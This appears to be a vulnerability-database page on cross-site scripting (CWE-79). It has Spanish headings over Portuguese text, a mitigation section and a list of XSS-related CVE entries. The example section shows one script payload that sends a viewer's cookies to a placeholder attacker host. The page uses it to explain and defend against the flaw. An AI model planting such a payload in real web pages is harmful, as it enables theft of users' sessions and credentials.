Fallos del tipo CWE-79

30.063 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-25199MEDIUMA reflected cross-site scripting (XSS) vulnerability exists in the MT Safeline X-Ray X3310 webserver version NXG 19.05 that enables a remoteEPSS 0.3%CVE-2024-3343MEDIUMOtter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE <= 2.6.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block AttributesEPSS 0.3%CVE-2024-45715HIGHSolarWinds Platform Edit Function Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2023-3506LOWActive It Zone Active eCommerce CMS Create Ticket Page support_ticket cross site scriptingEPSS 0.3%CVE-2026-28338MEDIUMPMD Designer has Stored XSS in VBHTMLRenderer and YAHTMLRenderer via unescaped violation messagesEPSS 0.3%CVE-2024-26557MEDIUMCodiad v2.8.4 allows reflected XSS via the components/market/dialog.php type parameter.EPSS 0.3%CVE-2026-84739HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.3%CVE-2025-26626MEDIUMGLPI Inventory Plugin vulnerable to reflective Cross-site ScriptingEPSS 0.3%CVE-2023-45908MEDIUMHomarr before v0.14.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Notebook widget.EPSS 0.3%CVE-2024-1419MEDIUMThe Plus Addons for Elementor <= 5.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting Header Meta Content WidgetEPSS 0.3%CVE-2024-10080MEDIUMWP Easy Post Types <= 1.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post MetaEPSS 0.3%CVE-2024-3285MEDIUMSlider, Gallery, and Carousel by MetaSlider – Responsive WordPress Slideshows <= 3.70.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via metaslider ShortcodeEPSS 0.3%CVE-2023-39223MEDIUMStored cross-site scripting vulnerability exists in CGIs included in A.K.I Software's PMailServer/PMailServer2 products. If this vulnerabiliEPSS 0.3%CVE-2024-49210MEDIUMReflected XSS was discovered in an iView List Archer Platform UX page in Archer Platform 6.x before version 2024.09. A remote unauthenticateEPSS 0.3%CVE-2025-13993MEDIUMMailerLite – Signup forms (official) <= 1.7.16 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2023-44315MEDIUMA vulnerability has been identified in SINEC NMS (All versions < V2.0). The affected application improperly sanitizes certain SNMP configuraEPSS 0.3%CVE-2023-31862MEDIUMjizhicms v2.4.6 is vulnerable to Cross Site Scripting (XSS). The content of the article published in the front end is only filtered in the fEPSS 0.3%CVE-2024-1506MEDIUMPrime Slider – Addons For Elementor <= 3.13.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Fiestar WidgetEPSS 0.3%CVE-2026-30974MEDIUMCopyparty volflag `nohtml` did not block javascript in svg filesEPSS 0.3%CVE-2021-38927HIGHIBM Aspera Console cross-site scriptingEPSS 0.3%